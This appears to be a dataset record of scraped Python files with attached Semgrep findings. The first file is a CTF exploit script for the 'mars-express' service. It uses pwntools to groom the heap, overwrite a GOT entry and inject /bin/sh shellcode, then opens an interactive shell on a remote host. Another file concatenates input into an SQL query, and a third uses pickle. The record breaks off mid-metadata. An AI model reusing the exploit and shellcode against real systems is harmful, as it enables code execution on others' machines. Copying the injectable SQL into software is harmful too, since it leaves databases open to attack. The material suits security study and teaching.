"path": "/exploit/x.py",
"provenance": "stack-edu-0054.json.gz:568934",
"repo_name": "fausecteam/faustctf-2020-mars-express",
"revision_date": 1611605318000,
"revision_id": "a567a4b7ea41143dbd885ea270b7f36f34aed2d2",
"snapshot_id": "75c6e5757fdf9e9c3decd233c5d37c6be91bc167",
"src_encoding": "UTF-8",
"star_events_count": 0,
"url": "https://raw.githubusercontent.com/fausecteam/faustctf-2020-mars-express/a567a4b7ea41143dbd885ea270b7f36f34aed2d2/exploit/x.py",
"visit_date": "2023-02-26T05:16:33.159313"
} | 2.46875 | stackv2 | #!/usr/bin/env python
"""Exploit script for mars-express."""
import subprocess
import sys
import os
import pwn
pwn.context.log_level = "info"
pwn.context.terminal = ["tmux", "splitw", "-p", "75"]
BINARY = "../src/mars-express"
HOST = "vulnbox-test.faust.ninja"
PORT = 8888
GDB_COMMANDS = []
MENU = """What do you want to do?"""
def add_wagon(proc, name: str, symbol: str = "x") -> None:
"""Adds a wagon to the train."""
proc.recvuntil(MENU)
proc.sendline("1")
proc.recvuntil("name: ")
proc.sendline(name)
proc.recvuntil("symbol: ")
proc.sendline(symbol)
def remove_wagon(proc, name: str) -> None:
"""Removes a wagon from the train."""
proc.recvuntil(MENU)
proc.sendline("2")
proc.recvuntil("wagon: ")
proc.sendline(name)
def exploit(proc, mode: str) -> None:
"""Exploit goes here."""
proc.recvuntil("> ")
proc.sendline("1")
proc.recvuntil("name:")
proc.sendline("some_random_name")
addr = pwn.context.binary.got["wclear"] - 8
pwn.log.info(f"addr = 0x{addr:08x}")
# These values depend on the build system, since the bss might starts at a different offset
add_wagon(proc, "a"*31)
add_wagon(proc, "a"*15)
add_wagon(proc, b"b"*8 + pwn.p32(addr) + b"\x20" + b"\0"*3 + b"b"*43)
add_wagon(proc, "c"*15)
add_wagon(proc, "e"*15)
add_wagon(proc, "f"*15)
remove_wagon(proc, "f"*15)
remove_wagon(proc, "e"*15)
add_wagon(proc, "g"*16)
add_wagon(proc, "h"*15)
if mode == "debug":
pwn.pause()
shellcode = "\x31\xc9\x6a\x0b\x58\x51\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xcd\x80"
shellcode = shellcode.ljust(0x1f, "\x90")
add_wagon(proc, shellcode)
if mode == "remote":
try:
proc.recvuntil("X", timeout=1)
except EOFError:
pwn.log.info("Remember to provide remote binary in 'src/mars-express'!")
return
# TODO: parse all trains.
proc.interactive()
def main() -> None:
"""Does general setup and calls exploit."""
if len(sys.argv) < 2:
print(f"Usage: {sys.argv[0]} <mode>")
sys.exit(0)
env = os.environ.copy()
try:
pwn.context.binary = pwn.ELF(BINARY)
except IOError:
print(f"Failed to load binary ({BINARY})")
mode = sys.argv[1]
env["TERM"] = "ansi77"
env["COLUMNS"] = "40"
env["ROWS"] = "20"
if mode == "local":
proc = pwn.process(BINARY, env=env)
elif mode == "debug":
proc = pwn.process(BINARY, env=env)
gdb_cmd = ["tmux",
"split-window",
"-p",
"75",
"gdb",
BINARY,
str(proc.pid),
]
for cmd in GDB_COMMANDS:
gdb_cmd.append("-ex")
gdb_cmd.append(cmd)
gdb_cmd.append(BINARY)
subprocess.Popen(gdb_cmd)
elif mode == "local_hosted":
proc = pwn.remote("localhost", PORT)
elif mode == "remote":
proc = pwn.remote(HOST, PORT)
else:
print("Invalid mode")
sys.exit(1)
exploit(proc, mode)
if __name__ == "__main__":
main()
| 144 | 21.17 | 98 | 13 | 957 | python | [{"finding_id": "semgrep_rules.python.lang.security.audit.dangerous-subprocess-use-audit_5fbea8111a456e96_e3778d23", "tool_name": "semgrep", "rule_id": "rules.python.lang.security.audit.dangerous-subprocess-use-audit", "finding_type": "security", "severity": "high", "confidence": "low", "message": "Detected subprocess function 'Popen' without a static string. If this data can be controlled by a malicious actor, it may be an instance of command injection. Audit the use of this call to ensure it is not controllable by an external resource. You may consider using 'shlex.escape()'.", "remediation": "", "location": {"file_path": "unknown", "line_start": 129, "line_end": 129, "column_start": 9, "column_end": 34, "code_snippet": "requires login"}, "cwe_id": "CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')", "cwe_name": null, "cvss_score": 7.5, "cvss_vector": null, "owasp_category": "A01:2017 - Injection", "references": [{"url": "https://stackoverflow.com/questions/3172470/actual-meaning-of-shell-true-in-subprocess", "title": null}, {"url": "https://docs.python.org/3/library/subprocess.html", "title": null}, {"url": "https://docs.python.org/3/library/shlex.html", "title": null}, {"url": "https://semgrep.dev/docs/cheat-sheets/python-command-injection/", "title": null}], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.security.audit.dangerous-subprocess-use-audit", "path": "/tmp/tmpb8jm_z1l/5fbea8111a456e96.py", "start": {"line": 129, "col": 9, "offset": 2897}, "end": {"line": 129, "col": 34, "offset": 2922}, "extra": {"message": "Detected subprocess function 'Popen' without a static string. If this data can be controlled by a malicious actor, it may be an instance of command injection. Audit the use of this call to ensure it is not controllable by an external resource. You may consider using 'shlex.escape()'.", "metadata": {"owasp": ["A01:2017 - Injection", "A03:2021 - Injection", "A05:2025 - Injection"], "cwe": ["CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')"], "asvs": {"control_id": "5.3.8 OS Command Injection", "control_url": "https://github.com/OWASP/ASVS/blob/master/4.0/en/0x13-V5-Validation-Sanitization-Encoding.md#v53-output-encoding-and-injection-prevention-requirements", "section": "V5: Validation, Sanitization and Encoding Verification Requirements", "version": "4"}, "references": ["https://stackoverflow.com/questions/3172470/actual-meaning-of-shell-true-in-subprocess", "https://docs.python.org/3/library/subprocess.html", "https://docs.python.org/3/library/shlex.html", "https://semgrep.dev/docs/cheat-sheets/python-command-injection/"], "category": "security", "technology": ["python"], "confidence": "LOW", "cwe2022-top25": true, "cwe2021-top25": true, "subcategory": ["audit"], "likelihood": "LOW", "impact": "HIGH"}, "severity": "ERROR", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}] | 1 | true | [
"CWE-78"
] | [
"rules.python.lang.security.audit.dangerous-subprocess-use-audit"
] | [
"security"
] | [
"LOW"
] | [
"HIGH"
] | [
129
] | [
129
] | [
9
] | [
34
] | [
"A01:2017 - Injection"
] | [
"Detected subprocess function 'Popen' without a static string. If this data can be controlled by a malicious actor, it may be an instance of command injection. Audit the use of this call to ensure it is not controllable by an external resource. You may consider using 'shlex.escape()'."
] | [
7.5
] | [
"LOW"
] | [
"HIGH"
] | x.py | /exploit/x.py | fausecteam/faustctf-2020-mars-express | ISC | |
2024-11-18T18:06:02.252388+00:00 | 1,608,557,697,000 | 3054934136b078311cd7cb03154364ec20d14bfa | 3 | {
"blob_id": "3054934136b078311cd7cb03154364ec20d14bfa",
"branch_name": "refs/heads/master",
"committer_date": 1608557697000,
"content_id": "7b40ba0dab867de21b545e3364e008d2089357eb",
"detected_licenses": [
"BSD-3-Clause"
],
"directory_id": "c033a814d418b10d1c8a3f739c410a1cf8f8d212",
"extension": "py",
"filename": "celloud_mysql.py",
"fork_events_count": 0,
"gha_created_at": null,
"gha_event_created_at": null,
"gha_language": null,
"gha_license_id": null,
"github_id": 32963181,
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 982,
"license": "BSD-3-Clause",
"license_type": "permissive",
"path": "/celloud/celloud_mysql.py",
"provenance": "stack-edu-0054.json.gz:568950",
"repo_name": "sdyz5210/python",
"revision_date": 1608557697000,
"revision_id": "78f9999f94d92d9ca7fde6f18acec7d3abd422ef",
"snapshot_id": "171c63aace26d6134fb470bd18c9bd25fea15e0b",
"src_encoding": "UTF-8",
"star_events_count": 0,
"url": "https://raw.githubusercontent.com/sdyz5210/python/78f9999f94d92d9ca7fde6f18acec7d3abd422ef/celloud/celloud_mysql.py",
"visit_date": "2020-12-30T15:43:48.630610"
} | 2.78125 | stackv2 | #!/usr/bin/env python
# -*- coding: utf-8 -*-
import MySQLdb
def readInput(inputFile):
newlines = []
with open(inputFile,"r") as f:
lines = f.readlines()
for line in lines:
fileName = line.split(",")[0]
dataKey = line.split(",")[1]
result = getTaskId(dataKey)
newlines.append(line.strip()+","+str(result)+"\n")
writeOutput("data_1.txt",newlines)
def writeOutput(outputFile,lines):
with open(outputFile,'a') as f:
for line in lines:
f.write(line)
f.flush()
def getTaskId(dataKey):
#打开数据库连接
db = MySQLdb.connect('localhost','root','password','dbName')
#获取操作游标
cursor = db.cursor()
#执行sql语句
sql = 'select task_id from tb_task where data_key='+dataKey
try:
cursor.execute(sql)
result = cursor.fetchone()
return result[0]
except Exception, e:
db.rollback()
raise e
finally:
#关闭数据库连接
db.close()
if __name__ == '__main__':
inputFile = "data.txt"
#第一步
#readInput(inputFile)
| 45 | 19.64 | 61 | 16 | 273 | python | [{"finding_id": "semgrep_rules.python.lang.best-practice.unspecified-open-encoding_1ec1719d09d8fa92_18ae5a75", "tool_name": "semgrep", "rule_id": "rules.python.lang.best-practice.unspecified-open-encoding", "finding_type": "best-practice", "severity": "medium", "confidence": "medium", "message": "Missing 'encoding' parameter. 'open()' uses device locale encodings by default, corrupting files with special characters. Specify the encoding to ensure cross-platform support when opening files in text mode (e.g. encoding=\"utf-8\").", "remediation": "", "location": {"file_path": "unknown", "line_start": 8, "line_end": 8, "column_start": 7, "column_end": 26, "code_snippet": "requires login"}, "cwe_id": null, "cwe_name": null, "cvss_score": 5.0, "cvss_vector": null, "owasp_category": null, "references": [{"url": "https://www.python.org/dev/peps/pep-0597/", "title": null}, {"url": "https://docs.python.org/3/library/functions.html#open", "title": null}], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.best-practice.unspecified-open-encoding", "path": "/tmp/tmpb8jm_z1l/1ec1719d09d8fa92.py", "start": {"line": 8, "col": 7, "offset": 110}, "end": {"line": 8, "col": 26, "offset": 129}, "extra": {"message": "Missing 'encoding' parameter. 'open()' uses device locale encodings by default, corrupting files with special characters. Specify the encoding to ensure cross-platform support when opening files in text mode (e.g. encoding=\"utf-8\").", "metadata": {"category": "best-practice", "technology": ["python"], "references": ["https://www.python.org/dev/peps/pep-0597/", "https://docs.python.org/3/library/functions.html#open"]}, "severity": "WARNING", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}, {"finding_id": "semgrep_rules.python.lang.best-practice.unspecified-open-encoding_1ec1719d09d8fa92_bf664526", "tool_name": "semgrep", "rule_id": "rules.python.lang.best-practice.unspecified-open-encoding", "finding_type": "best-practice", "severity": "medium", "confidence": "medium", "message": "Missing 'encoding' parameter. 'open()' uses device locale encodings by default, corrupting files with special characters. Specify the encoding to ensure cross-platform support when opening files in text mode (e.g. encoding=\"utf-8\").", "remediation": "", "location": {"file_path": "unknown", "line_start": 18, "line_end": 18, "column_start": 7, "column_end": 27, "code_snippet": "requires login"}, "cwe_id": null, "cwe_name": null, "cvss_score": 5.0, "cvss_vector": null, "owasp_category": null, "references": [{"url": "https://www.python.org/dev/peps/pep-0597/", "title": null}, {"url": "https://docs.python.org/3/library/functions.html#open", "title": null}], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.best-practice.unspecified-open-encoding", "path": "/tmp/tmpb8jm_z1l/1ec1719d09d8fa92.py", "start": {"line": 18, "col": 7, "offset": 410}, "end": {"line": 18, "col": 27, "offset": 430}, "extra": {"message": "Missing 'encoding' parameter. 'open()' uses device locale encodings by default, corrupting files with special characters. Specify the encoding to ensure cross-platform support when opening files in text mode (e.g. encoding=\"utf-8\").", "metadata": {"category": "best-practice", "technology": ["python"], "references": ["https://www.python.org/dev/peps/pep-0597/", "https://docs.python.org/3/library/functions.html#open"]}, "severity": "WARNING", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}, {"finding_id": "semgrep_rules.python.sqlalchemy.security.sqlalchemy-execute-raw-query_1ec1719d09d8fa92_8e4afdca", "tool_name": "semgrep", "rule_id": "rules.python.sqlalchemy.security.sqlalchemy-execute-raw-query", "finding_type": "security", "severity": "high", "confidence": "low", "message": "Avoiding SQL string concatenation: untrusted input concatenated with raw SQL query can result in SQL Injection. In order to execute raw query safely, prepared statement should be used. SQLAlchemy provides TextualSQL to easily used prepared statement with named parameters. For complex SQL composition, use SQL Expression Language or Schema Definition Language. In most cases, SQLAlchemy ORM will be a better option.", "remediation": "", "location": {"file_path": "unknown", "line_start": 31, "line_end": 31, "column_start": 3, "column_end": 22, "code_snippet": "requires login"}, "cwe_id": "CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')", "cwe_name": null, "cvss_score": 7.5, "cvss_vector": null, "owasp_category": "A01:2017 - Injection", "references": [{"url": "https://docs.sqlalchemy.org/en/14/core/tutorial.html#using-textual-sql", "title": null}, {"url": "https://www.tutorialspoint.com/sqlalchemy/sqlalchemy_quick_guide.htm", "title": null}, {"url": "https://docs.sqlalchemy.org/en/14/core/tutorial.html#using-more-specific-text-with-table-expression-literal-column-and-expression-column", "title": null}], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.sqlalchemy.security.sqlalchemy-execute-raw-query", "path": "/tmp/tmpb8jm_z1l/1ec1719d09d8fa92.py", "start": {"line": 31, "col": 3, "offset": 729}, "end": {"line": 31, "col": 22, "offset": 748}, "extra": {"message": "Avoiding SQL string concatenation: untrusted input concatenated with raw SQL query can result in SQL Injection. In order to execute raw query safely, prepared statement should be used. SQLAlchemy provides TextualSQL to easily used prepared statement with named parameters. For complex SQL composition, use SQL Expression Language or Schema Definition Language. In most cases, SQLAlchemy ORM will be a better option.", "metadata": {"cwe": ["CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')"], "owasp": ["A01:2017 - Injection", "A03:2021 - Injection", "A05:2025 - Injection"], "references": ["https://docs.sqlalchemy.org/en/14/core/tutorial.html#using-textual-sql", "https://www.tutorialspoint.com/sqlalchemy/sqlalchemy_quick_guide.htm", "https://docs.sqlalchemy.org/en/14/core/tutorial.html#using-more-specific-text-with-table-expression-literal-column-and-expression-column"], "category": "security", "technology": ["sqlalchemy"], "cwe2022-top25": true, "cwe2021-top25": true, "subcategory": ["audit"], "likelihood": "LOW", "impact": "HIGH", "confidence": "LOW"}, "severity": "ERROR", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}] | 3 | true | [
"CWE-89"
] | [
"rules.python.sqlalchemy.security.sqlalchemy-execute-raw-query"
] | [
"security"
] | [
"LOW"
] | [
"HIGH"
] | [
31
] | [
31
] | [
3
] | [
22
] | [
"A01:2017 - Injection"
] | [
"Avoiding SQL string concatenation: untrusted input concatenated with raw SQL query can result in SQL Injection. In order to execute raw query safely, prepared statement should be used. SQLAlchemy provides TextualSQL to easily used prepared statement with named parameters. For complex SQL composition, use SQL Expre... | [
7.5
] | [
"LOW"
] | [
"HIGH"
] | celloud_mysql.py | /celloud/celloud_mysql.py | sdyz5210/python | BSD-3-Clause | |
2024-11-18T18:06:03.792326+00:00 | 1,569,089,543,000 | 51cb6e8c13e7e4dadf31388b033eb9c70ab96649 | 3 | {
"blob_id": "51cb6e8c13e7e4dadf31388b033eb9c70ab96649",
"branch_name": "refs/heads/master",
"committer_date": 1569089543000,
"content_id": "d95e0ef39696de282c4a7e0c1b5f5363162356eb",
"detected_licenses": [
"Apache-2.0"
],
"directory_id": "84fb2513f5b38d02dccd4cc158593973eb46e32c",
"extension": "py",
"filename": "layer_sampler.py",
"fork_events_count": 3,
"gha_created_at": null,
"gha_event_created_at": null,
"gha_language": null,
"gha_license_id": null,
"github_id": 130600207,
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 3496,
"license": "Apache-2.0",
"license_type": "permissive",
"path": "/layer_sampler.py",
"provenance": "stack-edu-0054.json.gz:568966",
"repo_name": "nnzhaocs/docker-performance",
"revision_date": 1569089543000,
"revision_id": "2b6ba870b9a0f8c78837e794bbac678094f0c230",
"snapshot_id": "387026f934325b23466ef10ca57cf7b219b3ae9a",
"src_encoding": "UTF-8",
"star_events_count": 0,
"url": "https://raw.githubusercontent.com/nnzhaocs/docker-performance/2b6ba870b9a0f8c78837e794bbac678094f0c230/layer_sampler.py",
"visit_date": "2020-03-12T11:35:34.750683"
} | 2.78125 | stackv2 | import sys
import os
from os.path import stat
from argparse import ArgumentParser
import pickle
layer_files = ["/home/nannan/dockerimages/layers/hulk1/hulk1_layers_less_1g.lst"]#, "/home/nannan/dockerimages/layers/hulk4/hulk4_layers_less_1g.lst"]
out_dir = "/home/nannan/dockerimages/layers/hulk1/"
stored_dat_file = os.getcwd() + "/lyr_size.pkl"
#df_num = 160
def setup():
print 'entered setup mode, now collecting layer size information...'
layer_size_dict = {}
lyrs = []
lyr_failed = []
for lyr_f in layer_files:
with open(lyr_f, 'r') as f:
content = f.readlines()
lyrs.extend([x.strip() for x in content])
for lyr in lyrs:
try:
size = os.stat(lyr).st_size
layer_size_dict[lyr] = size
except:
lyr_failed.append(lyr)
print 'info collection complete.'
print 'successfully identified ' + str(len(lyrs)) + ' lyrs'
print 'failed to get the size of ' + str(len(lyr_failed)) + ' layer files, dump:'
print lyr_failed
print 'now writing results to pickle file in current directory...'
with open(stored_dat_file, 'wb') as f:
pickle.dump(layer_size_dict, f, pickle.HIGHEST_PROTOCOL)
def sampling(layer_size_dict, size):
print 'collecting all layers with size close to ' + str(size) + ' MB...'
res = {}
cap = size * 1.1
floor = size * 0.9
if size == 1:
floor = 0
for lyr, lyr_size in layer_size_dict.items():
mb_size = lyr_size / 1024 / 1024
if mb_size <= cap and mb_size >= floor :
res[lyr] = lyr_size
result = sorted(res, key=res.__getitem__)
print 'found ' + str(len(result)) + ' layers satisfying the size requirement.'
print 'writing layer list to hulk1...'
#print str(res[result[0]])
#print str(res[result[1]])
#print str(res[result[-1]])
with open(out_dir+'hulk_layers_approx_'+str(size)+'MB.lst', 'w') as f:
for lyr in result:
f.write("%s\n" % lyr)
def main():
print 'WARNING: the current running version is tuned for layers no more than 50M.'
print 'WARNING: now assuming static input output directories (hardcoded)'
parser = ArgumentParser(description='allow customized sampling args.')
parser.add_argument('-c', '--command', dest='command', type=str, required=True,
help = 'Mode command. Possible commands: setup, sample.')
#parser.add_argument('-n', '--number', dest='number', type=int, required=False,
# help = 'For sampling only. Specify number of layers wanted.')
parser.add_argument('-size', '--size', dest='size', type=int, required=False,
help = 'For sampling only. Specify layer size limit.')
args = parser.parse_args()
if args.command == 'setup':
setup()
elif args.command == 'sample':
if args.size == None:
print 'size not specified, quit'
exit(-1)
print 'attempting to populate layer:size dictionary...'
try:
with open(stored_dat_file, 'rb') as f:
layer_size_dict = pickle.load(f)
except:
print 'unable to read the stored layer:size file'
exit(-1)
print 'successfully read in ' + str(len(layer_size_dict)) + ' layers, now sampling...'
for i in range(60, 210, 10):
#print i
sampling(layer_size_dict, i)#args.size)
if __name__ == "__main__":
main()
| 93 | 36.59 | 150 | 16 | 875 | python | [{"finding_id": "semgrep_rules.python.lang.best-practice.unspecified-open-encoding_279717cb4676db67_d2b42f0f", "tool_name": "semgrep", "rule_id": "rules.python.lang.best-practice.unspecified-open-encoding", "finding_type": "best-practice", "severity": "medium", "confidence": "medium", "message": "Missing 'encoding' parameter. 'open()' uses device locale encodings by default, corrupting files with special characters. Specify the encoding to ensure cross-platform support when opening files in text mode (e.g. encoding=\"utf-8\").", "remediation": "", "location": {"file_path": "unknown", "line_start": 19, "line_end": 19, "column_start": 14, "column_end": 30, "code_snippet": "requires login"}, "cwe_id": null, "cwe_name": null, "cvss_score": 5.0, "cvss_vector": null, "owasp_category": null, "references": [{"url": "https://www.python.org/dev/peps/pep-0597/", "title": null}, {"url": "https://docs.python.org/3/library/functions.html#open", "title": null}], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.best-practice.unspecified-open-encoding", "path": "/tmp/tmpb8jm_z1l/279717cb4676db67.py", "start": {"line": 19, "col": 14, "offset": 552}, "end": {"line": 19, "col": 30, "offset": 568}, "extra": {"message": "Missing 'encoding' parameter. 'open()' uses device locale encodings by default, corrupting files with special characters. Specify the encoding to ensure cross-platform support when opening files in text mode (e.g. encoding=\"utf-8\").", "metadata": {"category": "best-practice", "technology": ["python"], "references": ["https://www.python.org/dev/peps/pep-0597/", "https://docs.python.org/3/library/functions.html#open"]}, "severity": "WARNING", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}, {"finding_id": "semgrep_rules.python.lang.security.deserialization.avoid-pickle_279717cb4676db67_348f627c", "tool_name": "semgrep", "rule_id": "rules.python.lang.security.deserialization.avoid-pickle", "finding_type": "security", "severity": "medium", "confidence": "low", "message": "Avoid using `pickle`, which is known to lead to code execution vulnerabilities. When unpickling, the serialized data could be manipulated to run arbitrary code. Instead, consider serializing the relevant data as JSON or a similar text-based serialization format.", "remediation": "", "location": {"file_path": "unknown", "line_start": 37, "line_end": 37, "column_start": 9, "column_end": 65, "code_snippet": "requires login"}, "cwe_id": "CWE-502: Deserialization of Untrusted Data", "cwe_name": null, "cvss_score": 5.0, "cvss_vector": null, "owasp_category": "A08:2017 - Insecure Deserialization", "references": [{"url": "https://docs.python.org/3/library/pickle.html", "title": null}], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.security.deserialization.avoid-pickle", "path": "/tmp/tmpb8jm_z1l/279717cb4676db67.py", "start": {"line": 37, "col": 9, "offset": 1172}, "end": {"line": 37, "col": 65, "offset": 1228}, "extra": {"message": "Avoid using `pickle`, which is known to lead to code execution vulnerabilities. When unpickling, the serialized data could be manipulated to run arbitrary code. Instead, consider serializing the relevant data as JSON or a similar text-based serialization format.", "metadata": {"owasp": ["A08:2017 - Insecure Deserialization", "A08:2021 - Software and Data Integrity Failures", "A08:2025 - Software or Data Integrity Failures"], "cwe": ["CWE-502: Deserialization of Untrusted Data"], "references": ["https://docs.python.org/3/library/pickle.html"], "category": "security", "technology": ["python"], "cwe2022-top25": true, "cwe2021-top25": true, "subcategory": ["audit"], "likelihood": "LOW", "impact": "MEDIUM", "confidence": "LOW"}, "severity": "WARNING", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}, {"finding_id": "semgrep_rules.python.lang.best-practice.unspecified-open-encoding_279717cb4676db67_70e16d4a", "tool_name": "semgrep", "rule_id": "rules.python.lang.best-practice.unspecified-open-encoding", "finding_type": "best-practice", "severity": "medium", "confidence": "medium", "message": "Missing 'encoding' parameter. 'open()' uses device locale encodings by default, corrupting files with special characters. Specify the encoding to ensure cross-platform support when opening files in text mode (e.g. encoding=\"utf-8\").", "remediation": "", "location": {"file_path": "unknown", "line_start": 57, "line_end": 57, "column_start": 10, "column_end": 69, "code_snippet": "requires login"}, "cwe_id": null, "cwe_name": null, "cvss_score": 5.0, "cvss_vector": null, "owasp_category": null, "references": [{"url": "https://www.python.org/dev/peps/pep-0597/", "title": null}, {"url": "https://docs.python.org/3/library/functions.html#open", "title": null}], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.best-practice.unspecified-open-encoding", "path": "/tmp/tmpb8jm_z1l/279717cb4676db67.py", "start": {"line": 57, "col": 10, "offset": 1885}, "end": {"line": 57, "col": 69, "offset": 1944}, "extra": {"message": "Missing 'encoding' parameter. 'open()' uses device locale encodings by default, corrupting files with special characters. Specify the encoding to ensure cross-platform support when opening files in text mode (e.g. encoding=\"utf-8\").", "metadata": {"category": "best-practice", "technology": ["python"], "references": ["https://www.python.org/dev/peps/pep-0597/", "https://docs.python.org/3/library/functions.html#open"]}, "severity": "WARNING", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}, {"finding_id": "semgrep_rules.python.lang.correctness.use-sys-exit_279717cb4676db67_4e24b697", "tool_name": "semgrep", "rule_id": "rules.python.lang.correctness.use-sys-exit", "finding_type": "correctness", "severity": "medium", "confidence": "medium", "message": "Detected use of `exit`. Use `sys.exit` over the python shell `exit` built-in. `exit` is a helper for the interactive shell and may not be available on all Python implementations.", "remediation": "sys.exit((-1))", "location": {"file_path": "unknown", "line_start": 78, "line_end": 78, "column_start": 13, "column_end": 21, "code_snippet": "requires login"}, "cwe_id": null, "cwe_name": null, "cvss_score": 5.0, "cvss_vector": null, "owasp_category": null, "references": [{"url": "https://stackoverflow.com/questions/6501121/difference-between-exit-and-sys-exit-in-python", "title": null}], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.correctness.use-sys-exit", "path": "/tmp/tmpb8jm_z1l/279717cb4676db67.py", "start": {"line": 78, "col": 13, "offset": 2966}, "end": {"line": 78, "col": 21, "offset": 2974}, "extra": {"message": "Detected use of `exit`. Use `sys.exit` over the python shell `exit` built-in. `exit` is a helper for the interactive shell and may not be available on all Python implementations.", "fix": "sys.exit((-1))", "metadata": {"category": "correctness", "technology": ["python"], "references": ["https://stackoverflow.com/questions/6501121/difference-between-exit-and-sys-exit-in-python"]}, "severity": "WARNING", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}, {"finding_id": "semgrep_rules.python.lang.security.deserialization.avoid-pickle_279717cb4676db67_80700fe9", "tool_name": "semgrep", "rule_id": "rules.python.lang.security.deserialization.avoid-pickle", "finding_type": "security", "severity": "medium", "confidence": "low", "message": "Avoid using `pickle`, which is known to lead to code execution vulnerabilities. When unpickling, the serialized data could be manipulated to run arbitrary code. Instead, consider serializing the relevant data as JSON or a similar text-based serialization format.", "remediation": "", "location": {"file_path": "unknown", "line_start": 82, "line_end": 82, "column_start": 35, "column_end": 49, "code_snippet": "requires login"}, "cwe_id": "CWE-502: Deserialization of Untrusted Data", "cwe_name": null, "cvss_score": 5.0, "cvss_vector": null, "owasp_category": "A08:2017 - Insecure Deserialization", "references": [{"url": "https://docs.python.org/3/library/pickle.html", "title": null}], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.security.deserialization.avoid-pickle", "path": "/tmp/tmpb8jm_z1l/279717cb4676db67.py", "start": {"line": 82, "col": 35, "offset": 3137}, "end": {"line": 82, "col": 49, "offset": 3151}, "extra": {"message": "Avoid using `pickle`, which is known to lead to code execution vulnerabilities. When unpickling, the serialized data could be manipulated to run arbitrary code. Instead, consider serializing the relevant data as JSON or a similar text-based serialization format.", "metadata": {"owasp": ["A08:2017 - Insecure Deserialization", "A08:2021 - Software and Data Integrity Failures", "A08:2025 - Software or Data Integrity Failures"], "cwe": ["CWE-502: Deserialization of Untrusted Data"], "references": ["https://docs.python.org/3/library/pickle.html"], "category": "security", "technology": ["python"], "cwe2022-top25": true, "cwe2021-top25": true, "subcategory": ["audit"], "likelihood": "LOW", "impact": "MEDIUM", "confidence": "LOW"}, "severity": "WARNING", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}, {"finding_id": "semgrep_rules.python.lang.correctness.use-sys-exit_279717cb4676db67_042d29f2", "tool_name": "semgrep", "rule_id": "rules.python.lang.correctness.use-sys-exit", "finding_type": "correctness", "severity": "medium", "confidence": "medium", "message": "Detected use of `exit`. Use `sys.exit` over the python shell `exit` built-in. `exit` is a helper for the interactive shell and may not be available on all Python implementations.", "remediation": "sys.exit((-1))", "location": {"file_path": "unknown", "line_start": 85, "line_end": 85, "column_start": 13, "column_end": 21, "code_snippet": "requires login"}, "cwe_id": null, "cwe_name": null, "cvss_score": 5.0, "cvss_vector": null, "owasp_category": null, "references": [{"url": "https://stackoverflow.com/questions/6501121/difference-between-exit-and-sys-exit-in-python", "title": null}], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.correctness.use-sys-exit", "path": "/tmp/tmpb8jm_z1l/279717cb4676db67.py", "start": {"line": 85, "col": 13, "offset": 3242}, "end": {"line": 85, "col": 21, "offset": 3250}, "extra": {"message": "Detected use of `exit`. Use `sys.exit` over the python shell `exit` built-in. `exit` is a helper for the interactive shell and may not be available on all Python implementations.", "fix": "sys.exit((-1))", "metadata": {"category": "correctness", "technology": ["python"], "references": ["https://stackoverflow.com/questions/6501121/difference-between-exit-and-sys-exit-in-python"]}, "severity": "WARNING", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}] | 6 | true | [
"CWE-502",
"CWE-502"
] | [
"rules.python.lang.security.deserialization.avoid-pickle",
"rules.python.lang.security.deserialization.avoid-pickle"
] | [
"security",
"security"
] | [
"LOW",
"LOW"
] | [
"MEDIUM",
"MEDIUM"
] | [
37,
82
] | [
37,
82
] | [
9,
35
] | [
65,
49
] | [
"A08:2017 - Insecure Deserialization",
"A08:2017 - Insecure Deserialization"
] | [
"Avoid using `pickle`, which is known to lead to code execution vulnerabilities. When unpickling, the serialized data could be manipulated to run arbitrary code. Instead, consider serializing the relevant data as JSON or a similar text-based serialization format.",
"Avoid using `pickle`, which is known to lead to... | [
5,
5
] | [
"LOW",
"LOW"
] | [
"MEDIUM",
"MEDIUM"
] | layer_sampler.py | /layer_sampler.py | nnzhaocs/docker-performance | Apache-2.0 | |
2024-11-18T18:06:04.421296+00:00 | 1,521,550,476,000 | b421f924ea0a1b3d49e62b82f4270ad46bc0d6e2 | 3 | {
"blob_id": "b421f924ea0a1b3d49e62b82f4270ad46bc0d6e2",
"branch_name": "refs/heads/master",
"committer_date": 1521550476000,
"content_id": "e7e9f01607a7bb96d9cf37f02e3a92b3a2628967",
"detected_licenses": [
"MIT"
],
"directory_id": "ae4d7c74d4f202bb73c20d556667fa6472a4bb51",
"extension": "py",
"filename": "macLookup.py",
"fork_events_count": 0,
